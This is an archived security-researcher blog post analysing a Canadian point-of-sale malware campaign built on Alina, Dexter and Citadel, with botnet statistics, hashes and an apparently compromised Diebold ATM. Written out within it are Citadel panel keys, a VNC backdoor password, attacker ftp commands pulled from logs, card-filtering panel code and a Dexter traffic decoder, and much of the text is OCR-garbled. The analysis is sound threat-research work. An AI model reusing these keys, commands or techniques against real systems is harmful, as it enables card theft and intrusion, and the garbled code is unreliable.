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Inside a malware campaign: Alina + Dexter + Citadel
Archived: 2026-04-05 18:56:09 UTC

I am going to start this article by mentioning that the server i am about to talk was under strong investigations.
But now i can talk, and there are some interesting things i want to mention about Alina and Dexter (both most
popular PoS malwares for the moment).

Please note that my Dexter article is from this campaign.

First of all, i am in possession of a chat log, and i can certainly affirm that author of dexter (Dice) had Alina
source, so its possible he coded them both.

The chat log is between dice and deputat (see my other article who's behind alina).

I previously made an article about Dexter, noticing how offline bot are using red color in both bots.

There are more similarities, online bots are green , download & execute, update bot, all are common in both Alina
and Dexter.

Even the filter, to filter out the track2 from the logs is similar.

On this server, at first everything started from kernelmode.info i was looking to expand my ram scrappers
collection.
So i've set some rules on various ram scrapper and i've found Alina like that.

Later i've found one server alive and found installed Citadel, Alina and Dexter, who was potentially dice's server.

Since both Alina and Dexter contain debug information.
And about the server... he come from "off-sho.re" i don't think i need to talk about his previous exploits.

We start to have some nice people here... :)

Latest Alina version, v6.x (even if there is no real change between the 5.x and 6.x) contains the following debug
info : "C:\Users\dice\Desktop\src\grab\Debug\alina_dex.pdb"

aEg21Eal] . &1 FLIEH ECK Argd
@edaz1eF|| - EDAD CC LER ECH,.DWORD PTR =5:[EBF-34]
@E4BZICZ| | - EZ c9ES0D0R | CALL BQ4B2T38

ABB21CT(| - B9AE 4BFFFFF| HOW DWORD PTR 55: (EBP-CB], ERX

Also seen for deputat.

Let's have a look on these Alina panels, here are the 'logs":
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Some track?:
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Alina structure is very simple:

(= 404, htrr
[ front Chrome HTML Document
1Ko
admin.php blog.php
PHF Script PHP Script
5 Ko 3 Ko
" blog.sgl.oz config.php
@ Fichier WinZip PHP Script
) i 1197 Ko 1Ko

export.php
PHF Script
1Ko

Procedure of cards verification:
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39 return "Might be cc";
40 r ] else

41 return "Wo valid Tracks"™;
4z = }

43 else if (count($matchesl))

44 return "Might be Trackl™;
45 ElEE if (count ($matchesZ))

dg return "Might be TrackiZ™;

47 elas

43 return "MNo valid Tracks™;

45 -1

50

51 %$agl = "SELECT * FROM cards"™;

52 if (@%_GET['sort']l] == 'IP")

53 $agl .= " ORDER BY ip";

54 elae if (@% GET['scrt'] == 'hwid")
55 $3gl .= " CORDER BY hwid";

=13 else if (@%_GET['scrt']l == 'pcn')

57 $agl .= " ORDER BY pcn™;

Now for Citadel, here are some screens of the C&Cs:
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For a total of 27025807 reports and 35974 bots just for Citadel
Dexter v1 and v2: 8350 bots

Alina all versions: 2159 bots

Total: 46k

And this without Pony and some other additionals crimeware such as Power Loader v2
These kits was here but not really used, so let's skip about them.

(folder /pnb/ for pony and /postnuke/ for PW)

The screenshots of my Power Loader v2 article come also from this server if you wonder.
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Interesting also: the Citadel key used in these panels wasn't from the Citab builder.

And i've found myself as a botnet ID on one of these C&C (lol?).
/armani/:

Botnet ID: alfabeta, axlogax, brand_new, haha, LLLLL, logmein, menu, menu2, omega, POS, text_corn, u,
update, we_we_we, xyl)

Key: 4FB85153B10262ECF5028F67AD1F9B00

Login key: 20038735198F82BC8495A2C1B01A9210

/carfca/:

Botnet ID: rf
Key: 94D3A279A412235D0360525484067CF1
Login key: 20038735198F82BC8495A2C1B01A9210

/coconut/:

Botnet ID: n/a
Key: D83F6D1EAAB24EC38883D1CC68C5F49A
Login key: 20038735198F82BC8495A2C1B01A9210

/justme/:

Botnet ID: just
Key: B143D3D208CF08B4835B37C27BAF8FCD
Login key: 20038735198F82BC8495A2C1B01A9210

/pmserver/:

Botnet ID: n/a
Key: OFBDED178A0F7C7D371E0C3F8826C309
Login key: 20038735198F82BC8495A2C1B01A9210

/supernew/:

Botnet ID: xxaaxxaaxx, canadas
Key: D83F6D1EAAB24EC38883D1CC68C5F49A
Login key: 20038735198F82BC8495A2C1B01A9210

/uae/:

Botnet ID: test
Key: 92B00C09C2301FB465FD688DE179C2E9
Login key: 20038735198F82BC8495A2C1B01A9210

John Doe 15 according to Microsoft:
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Juhn Diee 15
dba Citadel Eey(s): 200387351 98FE2E CR495A2C1RO1 A 9210

cperating botnet(s) alfabeta, AUSATS, axl Bol, brand_new, caca_rf,
caca_shy, CTT, OTTT, CTTh:, CONDCE, crap i

r LCOSS TERS_ Jale |_ I'.-. ek
T, haha, justme. lgm, L

WHEW, amega, P

EpI ]
thaboys, tresh. g 1
mennd, new_crap, nesmew, HE
i, BOTALBANE, seby_crap, ¢

testing_c. testef, text_com, TTPD, wpdatat

, Far_an Far_above, fbil,

LLLL. logmein, logmein_logmen,

¢, pl epolenpu] ax, rafy, EBC, recoon,
e, test, testing_a, teshng b

cugers, w1, weasel, weasel new,

date, wpppp, 115

weasy, warw 1, xafxa, xaskyea, wa, Raacarax 3, xxaannaany, ozl

As you can see, the panel inside the folder /armani/ have a Botnet ID 'POS' and many other relations with the

operating botnets that Microsoft identified.

B 3 e mm tina server 1 Citadedran ewn \arman|_fepedis 1431595951 Res PO

b o

CHREID-PC_ 40T 6520000

CIRRT VP T ISRCTM T TAZT KT 0048
CHEANDY L _ES3 38455 15Ra05
CIFROR PR, SR AT T
EIFROGHOP-OFFICE_FR7ERasrF FrCTein
COFRIEHOPIDLT_RIFE R 21 R
FUWELLE-FC_IWCHS80E 765 2DFE0
LIRS 15H TS MEFGS TEES
PO 1ED M TN G
COMOS 15, FETENEEF SaBL 1A0E
PTG ATA_ TR SRR ALAD D

IS E0508_ 78 7S MEEF 3 TPESED

FTES T2 50A,_ TR ST T 2SI ALT:
SFPORTATIL 3B TaE200FE0
IFTRTARET ] I FAT T ISCIDA 1
IFEDAOFT_IF N FIEIE5I NG5

LI A S A
JFATTFHIORT-PL_LBSECaTe5200RE0
SERRISARRT PP S SRS

g wfuy

GO

JFEREGOHP _LCHSEDEMES 120G
SrCASER B ESIIEAEAEIBCFOIC

TR PO _ I CEE0ETG S 20 6

COPTIFLERE_BADF S 1135473880

I

Bad guys behind was Pushing Dexter and Alina with Citadel scripts, Citadel was pushed via Exploit Kit.

And for the PoS machines infected, they probably bought them on the black market.. no idea.

The citadel panels was well organised, each groups got different payloads in function of the country and machine.
Malware was various and downloaded from compromissed sites like:
http://vxvault.siri-urz.net/ViriList.php?MD5=1EFEB85C8EC2C07DC0517CCCA7E8D743
http://vxvault.siri-urz.net/ViriList.php?MD5=133B384F0A4D66809815BAD06AA47AE4

These MD5 are know and was found on compromissed servers/used as citadel script:
133B384F0A4D66809815BAD06AA47AE4
7AAFCD134198CBEFBB5B20D6B926F5C4
A418410FA8B2617F3109DC289FA151C5 > Alina v5.5
CB625454CE2EEOF97E65D1F2DD06BC79 > Alina v5.5
57BEB794C8887EC7FCF1FDCEB246CDD5 > Dexter
907A1EA5D6C662B8493EF80F3844406D
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FC5D9565F22310273CC864529DEFB3BC
8FC5D179B1D89C05617F6E296134C629 > Dexter
BAE7CB3CDB8E61A2DE141A971E74E29D
AE3E36133C94453B3FDB1EA098F85127
C428BE2DF49EGF5B4F2C424AB12659F7
BBOB17C2F66A868CF1E8A46626366A32 > Dexter
54D4C90E4E957BBF4DA438870243CCF5

For the Botnet ID 'xyl' only two bots was inside, and i wasn't one of them :)

[T US-5XVNRW 1-DT_1F3D59E965220F59
[CIBLT-WS2_7375753F044E5FF4

That happen sometime, bad guys use my nick for their malware configurations, they have probably a problem of

inspiration. (or simply due to the noise i made after that i've found one of their sample ?)

Nowaday a small amount of bots are still calling the sinkholes, almost all infected systems call with 'Alina’

referrers.

From sinkhole logs, bots call mostly from Canada, this country was the main target in this campaign.
Citadel webinjects was targeting BMO (Bank of Montreal) and even some corporates specialized in Point-Of-

Sales like Moneris.

How this campaign ended ?
The bad guys behind have put the emergency brake when Microsoft released the lawsuit against Citadel users

(botnetlegalnotice.com)Domains of Alina got sinkholed, and the server who was accesible from IP have gone few

weeks after. (box got formatted)

And no more new citadel build related to this login key, new Alina infection appeared after that.
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Dexter and Alina package was found for sale months after probably to erase traces.

It's also for that these day we can see some new Dexter and Alina activities, people are reselling it.
For Dexter, the last botnet i've spotted was hosted on 62.76.44.111

The C&C files was exactly the same as the Alina+Dexter+Citadel campaign.

By exactly the same i mean some 'test files' totaly unrelated to Dexter that i've found on the old campaign was also

present in this server.

Made me think that bad guys have sold the content of the server in speed.

Here are some screenshots, the version used here is also 'StarDust' (like in the campaign):
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4946 Dumps.

Some panels was very interesting like this one, who have a version 'Millenium":

= O DEx M o =

[ i ] ]
e
ot | ] e | ] bend

iy
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'ﬁmﬁl?ﬁ.ﬂ.lufladﬂfz xf 'Y 62.765.44. 111b2finfo.php?. xu
€ - C [J62.76.44.111/b2/info.php?uid=x&option=x

UIl:-x

T382 Dump

Interesting even with infected systems:

Username: Manage_ ATM
Computer name: DIEBOLD-B79E854

This machine have dumps obviously:

¥ ER A 1 b3 ik php Tuid e bAATE-H e-Hed- Se k-1 b ilo i options T - Geegh Dhioma

i =alb i E-443a

1627644111 L

1]

U0 sl b TR BBl o fre (el 2 1 b el

& Cung

1LTHED FRCH CHIDINAL RECUADE

HurdPad
xre
u)
Hirdiwa Tase Hansger
elex
Froqran Harage:s -
A d— k

There is also weird process running according to the logs...

Did they infected an ATM ? seem.

My Computer

[n]

SERVICE (D:)

[=]

Bgilis NDx w3.0 S5P2
[=]

CHD

[=]

LTMEYE WOSR1

Installing a VNC backdoor:
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VHC Server Password
blakblalZ23gwe[t]blaklall23gwe
VHNC Serwver Properties (Service-Mode)
[=]

VHC Serwver Password
blakblalZ23gwe[t]blaklall23gwe
VHC Serwver Properties (User-Mode)
[=]

Diebold

[n]1

AgilisXF5

[=]

Diebold

[n]

Program Files

[n]

ATH (C:)

[n]

Logs

[=]

XF5

The machine is running a process of ATMeye.iQ.

From what i've see, it's a video/fraud surveillance system for ATM.

62, T684. 11 1/b2 finfo. php Auid = 8107 i E-44 e ed- Qe 0o- 116 b1 0

I have no idea if this application was used by the bad guys to try to get PINs, but seem he was interested into

archive video of the ATM surveillance:

[12] =» Program Manager

[2]

ATM (C:)

[2]
VIDEOLRCHIVE
[2]

20120619
[2][e]
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The bad guys uploaded/deleted some stuff via ftp:

[e]ldel eq[s] &echo open 189.1895.250.57 28523 [=]
CIAWINDOWS \svstemn32hcmd.exe - del eqg

e
CHAWINDOWS\svstem32cmd.exe - ftp -n -s:eqg
[e]
[154] => My Documents
[c]lv
ftp://bsZ2ftp.5ci.lt/
[e]
Log On 4=
[c]

[155] => Agilis NDx 3.0 SE2
[c]l [c]l[c]l[c]llc]llcllc]llcllclicliclicliclic]lic]lc
SERVICE (D:)

C
ftp://bsZ2ftp.5ci.lt/
[c]lv

[156] =>
e

Windows Task Manager

Deleting logs:

DIEBCLD[=]1111
[142] =» VIDECARCHIVE
[2]-old
VIDECARCHIVE old
[e]
logs
[2]—-o0ld[=] —old
Error Benaming File or Folder

.E.

logs=s

(el [=s][=s][=][=] (=] (=] (=] [=] [=]
Deleting...

[e] [&]

logs=s
[=][=][=][=][=][=][=][=][=][=]
Deleting...

[e]

Trying to shutdown the ATM after erasing traces ?

Another panel, less dumps:
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Panel fucked-up:
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Another panel:
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The guys have downloaded and uploaded on these infected machines several files like passwords cracker,
networks scanner, and cards scanner.

Want some math too for this Dexter panel ?

21138 Credit Card Dumps stolen.
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From the server, a zbot panel was also here according to the sql db but empty: no reports, no bots.
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Crazy stuff anyway, how did they managed to get inside these PoS ?
And the answer is...: weak VNC/RDP passwords as usual.

For the Diebold ATM i've still no idea, i've scanned the IP but no remote service are open.
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"1234" lol seriously... guys...
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I've brute forced those infected systems to retrieve myself the malware, here are some hashs:
5149313A6C43EB5197C39CC28DE02039

087EE6DD7F15985033119D397E9DADOA

62809FA40972073C1EBOB41EB589E467

7D419CD096FEC8BCF945E00E70A9BC41
C3A3D3CEDFCA895BBAB07919B2AED7B50Id server:
140D24AF0C2B3A18529DF12DFBC5F6DE

If Visa warn almost everytime merchants in their "data security bulletins" about weak passwords there is a reason.
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You are looking for a Dexter decoder ? it's the good place.

if (isset($_POST['query']) && lis_array($_POST['query']) && $_POST['query'] != null) {
$query = $_POST['query'];

if (strstr($query, '&") !== false) {
$vars = explode('&', $query);
$data = array/();

foreach ($vars as $var) {
if (strstr($var, '=") !== false) {
$_ = explode('=', $var, 2);

if (ctype_alpha($_[0]) && ctype alnum(str replace('=", ", $_[1]))) {
$data[$_[0]] = $_[1];

}

}

}

if (!isset($data['val']))

echo('Cannot get the encryption key...");
else {

$key = base64 decode($data['val']);

echo('Encryption key: ' . htmlentities($key) . ' - ");

echo('UID: '. ((‘isset($data['page'])) ? 'Cannot get UID..." : DecodeDecrypt($data['page']l, $key)) ."' - ");
echo("Username: ' . ((!isset($data['unm'])) ? 'Cannot get Username...' : DecodeDecrypt($data['unm'], $key)) . ' -");
echo('Computer: ' . (('isset($data['cnm'])) ? 'Cannot get Computer...' : DecodeDecrypt($data['cnm'], $key)) . ' -");
echo('OS: ' . ((!isset($data['query'])) ? 'Cannot get OS..." : DecodeDecrypt($data['query'], $key)) . ' - ");
echo('Arch: '. ((!isset($data['spec'])) ? 'Cannot get Arch..." : DecodeDecrypt($data['spec'], $key)) . ' - ");
echo('Idle: ' . ((!isset($data['opt'])) ? 'Cannot get Idle...' : DecodeDecrypt($data['opt'], $key)) . ' -");
echo("Version: ' . ((!isset($data['var'])) ? 'Cannot get Version...' : DecodeDecrypt($data['var'], $key)) . ' -");
echo('TP: ' . ((!isset($data['ip'])) ? 'Cannot get IP..." : DecodeDecrypt($data['view'], $key)) . '-");

echo('Keylog: ' . (('isset($data['ks'])) ? 'Cannot get Keylog...' : DecodeDecrypt($data['ks'], $key)) . " -");
echo('Dump: ' . ((!isset($data['ump'])) ? 'Cannot get Dump...' : DecodeDecrypt($data['ump'], $key)) . "' -");

}

}

}

>

function _xor($src, $key) {
for ($i = 0; $i < strlen($src); $i++)
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for ($x = 0; $x < strlen($key); $x++)
$src{$i} = $src{$i} A Skey{$x};

return $src;

}

function DecodeDecrypt($src, $key) {
$src = base64 decode($src);
$dest = _xor($src, $key);

return $dest;

}

>

That was for Dexter, now about Alina yes they still use it and even more clumsily like for Dexter people try to sell

it.
Re: Point-of-Sale malwares / RAM Feor ] (@] W A% ffamiE ] sstthemate
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2012 5:50 pen
Intaresting sh°t, KINS and Alina POS malware sources selling on some fomums for Bl e
52000 (TF) aE
[

Reported here by exitthematrix, i've saw the sale thread too before an admin removed it for 'fraud' (the guys was

selling even passports) but i've not took a screenshot thinking it was not serious.

Alina 5.3 source code:

[ | Base.cpp L J . Baze.h :‘-‘| grab. vogeaj
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Track? scanner proc in Alina:
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This Alina + Dexter + Citadel was probably disastrous for alot of people, i even received mails from merchants
who told me that they got infected and this when the campaign was still running.
Combining the cream of RAM Scrapers with banking trojans can make a lot of damage.

Microsoft reacted with a good timing and have destroyed a lot of campaigns.

Source: https://www.xylibox.com/2013/10/inside-malware-campaign-alina-dexter.html
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